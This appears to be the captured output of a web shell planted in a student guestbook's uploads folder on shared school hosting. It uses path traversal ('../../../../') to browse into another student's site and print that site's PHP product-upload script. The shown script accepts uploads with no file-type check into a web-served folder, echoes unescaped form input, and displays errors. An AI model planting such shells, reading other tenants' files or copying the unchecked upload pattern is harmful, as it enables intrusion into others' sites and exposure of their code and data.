🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 Viewing: ./../../../../589045.klas4s23.mid-ica.nl/public_html/burgerbudy/Functions/processAdd.php

<?php
session_start();
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

include '../../classes/model/database.php';
include '../../classes/model/products.php';

$db = new Database();
$conn = $db->getConnection();

if (!isset($_SESSION["user_id"]) || !$_SESSION["is_admin"]) {
    header("location: /burgerbudy/Pages/public/login.php");
    exit;
}

// Handle file upload
$image = '';
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
    $file_name = $_FILES['file']['name'];
    $file_tmp = $_FILES['file']['tmp_name'];
    $targetDir = '/home/klas4s23/domains/589045.klas4s23.mid-ica.nl/public_html/burgerbudy/uploads/';
    $targetFile = $targetDir . basename($file_name);
    if (move_uploaded_file($file_tmp, $targetFile)) {
        $image = $file_name;
    } else {
        echo "Failed to move uploaded file.";
    }
}

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $name = $_POST['name'];
    $category = $_POST['category'];
    $description = $_POST['description'];
    $price = floatval($_POST['price']); // Ensure price is a float

    // Debug prints
    echo "Name: $name, Category: $category, Description: $description, Price: $price, Image: $image";

    // Add product to database
    try {
        Products::addProduct($name, $category, $description, $price, $image, $conn);
        // Redirect to success page
        header("location: ../../Pages/public/succes.php?succesadded=Product added successfully");
        exit;
    } catch (PDOException $e) {
        echo "Error: " . $e->getMessage();
    }
}

?>

🎯 Available Actions